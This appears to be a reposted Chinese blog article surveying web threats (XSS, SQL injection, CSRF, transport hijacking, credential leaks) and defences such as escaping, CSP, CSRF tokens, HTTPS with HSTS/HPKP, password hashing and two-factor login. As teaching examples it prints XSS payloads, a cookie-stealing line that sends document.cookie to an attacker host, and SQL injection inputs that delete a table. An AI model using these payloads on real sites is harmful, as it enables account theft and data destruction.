1. 程式人生 > >網際網路安全威脅及應對方案

網際網路安全威脅及應對方案

一,網際網路web應用面臨的主要威脅1. XSS跨站指令碼攻擊(Cross Site Scripting), 即A站點的網頁想辦法跑到B站點上。 因為我們的網頁都是javascript驅動的,所以js擁有非常大的權力。

XSS 可以大概分為三類(注意這三類不是排斥的), DomXSS, 反射型XSS和儲存型XSS。

首先Dom型XSS是指js指令碼引起的XSS,通常來說由innerHTML、eval等引起, 對於innerHTML ,如程式碼

document.getElementById("id").innerHTML = "Hello, <b>" + name + "</b>",

這裡就有一個潛在的XSS問題,因為name你不知道里面是什麼,如name = "< img src=x onerror=alert(1)>" 。 那麼就是一個XSS漏洞,通常來說我們一般用alert,prompt等函式測試,這個我們叫PoC,即漏洞證明 , 所以當在一個頁面看到alert的時候就要小心了。

那XSS能做什麼呢? 我們看一段程式碼:

new Image().src = "  http://ha.cker.club/collectcookie.do   ?c=" + encodeURIComponent(document.cookie);

這段程式碼很簡短,就是把使用者的cookie用URI編碼轉義後發到遠端伺服器。 這表示有可能使用者賬號被盜。 JSON.parse在比較新的瀏覽器才被支援,所以很多前端喜歡用 eval("(" + json + ")") 的方式解釋JSON , 所以這裡的eval也會導致XSS漏洞,需要特別注意! 除了這個還有 setTimeout、setInterval 等。

所以XSS帶來的危害是非常大的,因為XSS可以在你的電腦開一個遠端的HTTP隧道,可以 被用來掃描內網。一般用XHR或WebSocket來掃描, 有點像nmap。

其次介紹反射型XSS, 反射型XSS就是將引數上的資料直接展示在頁面中, 如url https://example.com?username=<img/src/onerror=alert(1)&gt ; 當引數中的url在面頁中展示時即構成一個反射型XSS。 這一類漏洞危害相對小一點,但也要引起重視。

最後一類是儲存型XSS,這類特別嚴重, 即你開啟一個頁面時已經被XSS了。一般分兩種:

  • 一種是伺服器端的資料被XSS,即開啟頁面就被X了

  • 另一種是客戶端,如flash 的local share object 或H5的localstorage, 這裡要特別注意,要小心使用flash! 我曾在 www.baidu.com 首頁找到過一個flash的XSS漏洞,當然已經通知修改了,但這個漏洞可以引起很嚴重的資訊洩露!

2.SQL注入

SQL注入大家應該不陌生,如 String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'"; 如果引數id中是 ; delete from user; ... 這樣,你就悲劇了。 或者 or 1=1 這樣,就會返回所有資料 。 SQL注入可以引起伺服器端被入侵,我們知道MySQL支援在函式中執行伺服器端程式碼,有點像nodejs中的eval一樣。 還有就是可以被拖庫,那 就悲劇了!

3.CSRF

CSRF是跨站請求偽造的意思, 比如,你的網站的logout是一個連結 https://example.com/doLogout.do 那麼請示這個連結使用者cookie就會被清空,使用者就退出了, 如果你想辦法把這個連結的請求放到使用者不注意的地方,使用者就會莫名其妙的退,當然這個危害比較小, 假如 https://example.com/transferMoney.do?from=hatter&to=somebody&amount=100000 , 如果這個請示只判斷cookie就操作成功,就悲劇了!

因為我們知道,在任意一個網站,請求另外一個網站的請求是會帶上cookie的,這也是cookie mapping的原理, 有興趣可以google一下cookie mapping 做廣告的同學再熟悉不過了。

還有一類,專業名詞是 XSSI, 也可以歸到CSRF, 這裡講的JSONP的問題,就是XSSI, 相信國內很多網站被點名了。

4.傳輸劫持

看過315晚會的同學都知道免費WiFi不安全, 我要告訴你不只免費WiFi不安全。收費的、有密碼的或是某些電信運營商都不安全。

一般來說劫持有兩種 , 一種是劫持DNS,比如114,還有就是有些路由器有CSRF漏洞,可以通過CSRF來設定你的DNS地址 。 一但你的DNS被修改後,你訪問任何網站就悲劇了。 DNS汙染就更別說了,比如某些政府...

還有一種就是路由器劫持。 免費WiFi就是這種,當然如果是運營商,就基本什麼都能幹了。 這一類有很成熟的軟體來劫持。 一般安全測試用的代理軟體,或前端用的Fiddler就是這一類軟體。 當你是HTTP訪問的時候你就什麼都讓別人知道了。 當然並不是說HTTPS就一定安全,這個後面會講。

5. 賬密洩露

看一下這個圖,

640?wx_fmt=png

出自http://mashable.com/2012/06/08/linkedin-stolen-passwords-list/ , 是linkedin洩露的密碼中top的部分,

在國內也有很多賬密洩露,大家應該也知道, 使用者喜歡在不同網站使用同一密碼。 而且有時候密碼很簡單,所以賬號號被盜就很常見。 因為我們都是依靠賬號密碼驗證使用者,耐用賬號通常是email 。

6.暴力破解

即黑客使用同一個賬號試不同密碼, 或同一個密碼試不同賬號, 通過社工庫,即上面提到的那個賬號密碼洩露,可以破解很多賬號。 通過這些賬號,特別是郵箱,能夠得到很多很多的資訊。 典型的是有一次在wooyun中曝光的漫遊某著名電商網站的內網就是這樣的。 開發把賬號密碼洩露到github上了, 然後黑客就...

7.身份token竊取

在XSS中的例子已經介紹了案例, 即通過 document.cookie 得到使用者的cookie, 而在web程式中都是通過cookie驗證使用者身份,也就是說cookie洩露就可能導致賬號直接被黑客訪問 。

二,威脅應對方案1.XSS

對於XSS來說最好的辦法就是轉義! 但轉義並不容易,因為轉義有很多種方式,而且開發很容易忘掉, 目前的轉義框架主要有 ESAPI 和 AntiXSS 。 一般來說需要轉義幾個比較危險的字元 & < > ' " / 。 在HTML中, & 轉成 & 在URL中 &轉成 %26 在JS中 &轉成\x26或\u0026。 需要特別注意 ' " 的轉義,在JS中需要轉成 \x \u這種形式, 雖然按ECMA262規定,' "可以轉成 \' \" 。

但在HTML的屬性中出現的時候這種轉義很危險, 如果你去看ESAPI的提交紀錄就會發現,他們原因也是這種轉義,後來改成 \x了,
https://p.rogram.me/encode/ 這個是我用JS寫的轉義程式,可以學習UTF-16 UTF-8的轉義邏輯。

在Java/JS中都是使用了UTF-16,所以String是變長的,這個需要特別注意,不然會可能亂碼。 Unicode的第1版及以後的版本,字元在UTF-16中是兩個“char”,在UTF-8中是4個位元組 。

在URL中的轉義,需要特別注意一點,對於JS(ECMA262)中定義的 encodeURI encodeURIComponent都是近UTF-8轉義的。參看RFC3986,要求新的scheme都使用UTF-8轉義,但是在目前的瀏覽器實現中,如果你的頁面是GBK,那麼這裡有就三種轉義方式:

  1. 首先 hostname,即域名部分是 punycode,

  2. 再次 path部分是UTF-8 ,

  3. 最後query部分是GBK。 補充一下hash部分也是UTF-8

但如果你的頁面是UTF-8的,那麼query部分也是UTF-8, 所以在非GBK的頁面中使用encodeURICompoent轉義query部分的值可能會有亂碼,建議頁面都使用UTF-8,而且GBK也不能表示emoji 。

還有一個innerHTML讓人防不甚防,因為使用innerHTML可以讓前端快速構建DOM,比較使用createElement方便多了,所以前端很喜歡innerHTML 。但innerHTML的危害很大,這裡可以使用html淨化的工具,這類工具很多,在IE中有一個toStaticHTML的函式,就是去掉HTML中的js程式碼,但在chrome/ff中沒有這個函式。

這裡我收集了一些相關的工具。 這個連結有效期是一年,有數字簽名。 我比較推薦這個 https://github.com/hasegawayosuke/rickdom/, 這個工具的作者是 http://utf-8.jp/ ,是個日本人, 這裡有使用演示 http://utf-8.jp/public/rickdom/。 如果你使用jQuery,就可以在jQuery的html函式中加入攔截,自動做淨化, 但要求前端在innerHTML中不出現js 。

2. CSP

CSP是防止XSS的大招,由 W3C 的 webappsec WG(work group)制定的,目前發麵的版本是CSP2,通http://caniuse.com/#feat=contentsecuritypolicy這個連結可以看到當前CSP的支援情況 。大家可以測試一下這個連結 https://hatter.in/testCSP2 不同的瀏覽器出來的alert數量不一樣,最新的chrome不會彈alert! 。 IE也準備在Edge,就是logo特別難看的那個,支援CSP。這連結https://playsecurity.org/rawfile/introduce_to_csp.md 是作者整理了一個CSP的介紹,可以參看一下。

CSP有三種使用方式:

  1. 第一種,目前 github.com採 用次方式,禁止所有js inline , eval ,只能使用你指定的域名下的js,是最完美的一種方式;

  2. 第二種,使用nonce或jshash,目前airbnb是採用此方式,允許inline js, 但只允許指定的地方出現js或hash確定的js被執行;

  3. 第三種,目前facebook,gmail所採用的方式,這種策略禁止載入站外的js進來 。 也就防止cookie直接被偷到站外等惡劣情況 , 詳細還需要自己再去看 。

有一些網站也會引用iframe,如果這個iframe是站外的就比較危險,你可以在iframe標籤中使用sandbox來限制這個頁面的行為CSP2中也引入了sandbox。

還有,上面介紹了一種反射型XSS,可以加這個X-XSS-Protection: 1; mode=block 來讓瀏覽器阻止載入,但是,FF不支援,而且瀏覽器的XSS過濾器比較容易bypass,不過加上比不加上安全,可以防小白型黑客。

3. SQL注入

SQL注入的防範方法比較簡單,就是不要讓開發人員拼接SQL,使用引數繫結的方式。如果有自動釋出流程的話,通程式碼白盒掃描的時候,卡釋出。 還有,SQL注入和反射型XSS一樣,還是有工具的, 比如阿里開源的 有SQL注入檢測的工具 druid ,http://www.onexsoft.com/download這個中介軟體也有這樣的功能, 這篇論文介紹瞭如何檢測https://playsecurity.org/attachment/security/sql/Using_Parse_Tree_Validation_to_Prevent_SQL_Injection_Attacks.pdf, 大家可以參考一下。

4. CSRF Token檢查

CSRF最重要的是CSRF token,一般來說這個token可以放到頁面中或cookie中,然後在所有提交的請求中帶上這個token,同時伺服器端判斷token是否一致,不一致則拒絕請求,這樣黑客是無法猜到這個token的。

同時我們發現,CSRF的問題是第三方網站的請求,所以IETF有一個draft就是需要解決這個問題,增加了一個First-Party-Only屬性, 參看文件 https://datatracker.ietf.org/doc/draft-west-first-party-cookies/ 。作者是google德國的員工 mike west, 同時他也是CSP的主要作者。 補充一下 First-Party-Only 還沒有釋出,而且當前chrome中實現的有bug!!!

注意原則上涉及使用者資訊的JSONP也必須檢查csrf token, 然後,還需要注意! crossdomain.xml Fetch(CORS)這兩個crossdomain.xml中如果設定為*就悲劇了,任意flash就可以訪問你的網站。Fetch原名叫CORS,就是使用XHR來跨站訪問資料,注意這裡的Origin也不能設定為*

5. HTTPS

為了防止網站被劫持,我們需要配置HTTPS,HTTPS最早是netscape搞出來的, SSLv3還是他們搞的,這個版本比較老,問題也比較多。但禁止SSLv3會導致WindowsXP可能無法訪問,因為預設的WinXP的IE是不開啟TLSv1.0的。雖然這個版本的IE支援這個功能,需要在設定中開啟,目前普遍認為SSLv3不安全,但我只發現 github.com禁止了SSLv3的訪問。

那麼問題來了,配置了HTTPS安全麼? 答案當然是否的!

首先你需要部署一個沒有已經漏洞的https軟體,一般我們使用OpenSSL,心臟出血就是這個軟體的著名 bug.目前網際網路上還有使用這個bug的OpenSSL的版本。

然後,需要配置ciphers,使用

$ nmap —script ssl-enum-ciphers -p 443 hellosecurity.org

這個命令可以掃描一個網站支援哪些ciphers , 詳細內容可以參看http://www.iana.org/assignments/tls-parameters/tls-parameters.xhtml 關於TLS的引數, 對於W3C,IETF的所有型別註冊都在IANA。

我們也可以通過openssl來看HTTPS的配置,使用

$ echo | openssl s_client -showcerts -servername   playsecurity.org -connect   playsecurity.org :443

這個命令會連結到伺服器,並列印具體資訊出來

  • -showcerts會列印伺服器端的詳細證書資訊

  • -servername是SNI,即發起TLS連結的時候帶上域名

返回的第一部分是證書驗證資訊,這裡需要特別注意的是,在配置證書的時候一定需要配置中間鏈證書,測試方式可以使用剛才的openssl命令或android的瀏覽器。android的瀏覽器不會下載中間鏈證書,也沒有內建, 所以如果配置不全會打不開!

目前HTTPS也配置了,是不是就不會被劫持了?

其實很容易被劫持哦〜 。 比如,你開啟 www.alipay.com的時候 一般使用者不會在前面輸出 https。那這樣第一個請求就是http的,不是https的,這樣就可以被劫持了。 一但被劫持了,黑客就可以改裡面的資訊,這時候就需要HSTS來幫忙,HSTS是告訴瀏覽器說,我這個域名(也可能包含子域名),載入的時候必須是HTTPS。這樣就不會在第一次的時候被繞過,例如 www.alipay.com就有設定這個頭, 參看標準 https://tools.ietf.org/html/rfc6797。

還有一種威脅就是不良CA 比如某國家CA機構(已經被google吊銷證書) 。 那這時候怎麼辦呢? 我們有HPKP, 這個 github.com 也有配置

$ curl -I   https://github.com
Public-Key-Pins: max-age=300; pin-sha256="WoiWRyIOVNa9ihaBciRSC7XHjliYS9VwUGOIud4PB18="; pin-sha256="JbQbUG5JMJUoI6brnx0x3vZF6jilxsapbXGVfjhN8Fg="; includeSubDomains  Strict-Transport-Security: max-age=31536000; ;

includeSubdomains;preload這兩個頭就是github的HSTS及HPKP,HPKP指定了幾個hash值, 只要不在這幾個hash值中就不會被信任, 那問題又來了,我第一次訪問的網站就是不良CA的證書籤的網站怎麼辦呢? 這個也有解決辦法,https://hstspreload.appspot.com/ 參看這個連結。 chrome/safari/ff 是共享一個名單列表。 簡單來說就是把一些資訊hard coding到瀏覽器中,你只要用了這幾個瀏覽器,第一次訪問這些網站就天然是HTTPS的,不過HPKP不會內建,但內建可以內建中證書鏈中的某些證書,有興趣的同學可以看一下上面的檔案。

說了這麼多,用一個網站可以測試HTTPS的配置, https://www.ssllabs.com/ssltest/analyze.html。如果你拿到A+ 就O了 看這個連結 https://scotthelme.co.uk/a-plus-rating-qualys-ssl-test/ 可以得到更多資訊

6.加密儲存

賬密洩露的解決辦法就是 加密儲存,很多網站發生過密碼洩露,是因為他們明文存放密碼。這是一個很不好的習慣,簡單使用Md5或SHA也都不是好習慣哦。關於密碼儲存建議使用 scrypt、 bcrypt 或PBKDF2 。注意每個使用者都需要有不同的鹽,和密碼分開儲存,這樣即使洩露,黑客如果需要破解也是成本非常非常高的,這裡需要注意,像scrypt這種演算法,計算成本比較高,所以需要判斷頻率,因為可以用於DoS攻擊, 同時可以參看這兩個文件

Password Storage Cheat Sheet - https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet

Secure Password Storage - http://goo.gl/Spvzs

7.雙因子檢驗

一般來說有幾種方法 簡訊、 電話、 電子郵件、 硬體OTP、 軟體OTP。 apple和google都支援,強烈建議大家開啟 。

640?wx_fmt=png

640?wx_fmt=png

640?wx_fmt=png

其中apple是自己實現的二次校驗,可以通過簡訊或信任手機推送二次驗證口令。 而google的是標準TOTP(https://tools.ietf.org/html/rfc6238) 。 核心演算法是 Base32和HMAC_SHA演算法。 Google有一個軟體 https://github.com/google/google-authenticator 大家可以在市場中安裝, 我也用go語言實現了這個演算法 https://gist.github.com/jht5945/cf06c4d2102db56efc55 java版在標準中有, 可以通過二維碼掃描 、 https://github.com/google/google-authenticator/wiki/Key-Uri-Format 這裡是格式 。

目前 github facebook microsoft dropbox evernote都支援這種標準的TOTP。 當然國內也可以用洋蔥啦〜 。ssh也可以支援到 https://github.com/ziyan/ssh-otp wordpress 、https://wordpress.org/plugins/two-factor-auth/ 。

8.無密碼驗證

很多安全問題是密碼導致,無密碼就出來了。FIDO就是這樣的工具, FIDO主要支援UAF和U2F,其中U2F相當於U盾,UAF,主要是虹膜,掃臉、指紋等。洋蔥實現的邏輯是UAF,但不清楚是不是按標準實現。 驗證過程是challenge-response方式,這種目前最安全了。

9.身份Token保護

防止cookie被盜就是設定httponly了,設定了httponly後document.cookie就拿不到。 安全性就有一定提升, 還有就是把token繫結到機器上,這個IETF在寫標準中 http://datatracker.ietf.org/wg/tokbind/documents/ , 目前HTTP Auth即401驗證是 base64(username + ":" + password) 這樣的方式, 極不安全,基於challenge-response的標準也在制定中 https://datatracker.ietf.org/doc/draft-yusef-httpauth-srp-scheme/ 。

對於401,目前chrome在載入subresource時是忽略401的,但ie, ff不會。所以安全性存在問題,特別是郵件系統,目前我也在想辦法讓subresource禁止401,推到CSP標準中,還需要點時間 。

推薦閱讀:

覺得有幫助?請轉發給更多人!

0?wx_fmt=png0?wx_fmt=png

架構師小祕圈,聚集10萬架構師的小圈子!不定期分享技術乾貨,行業祕聞!彙集各類奇妙好玩的話題和流行動向!長按左側圖片,掃碼加入架構師微信群!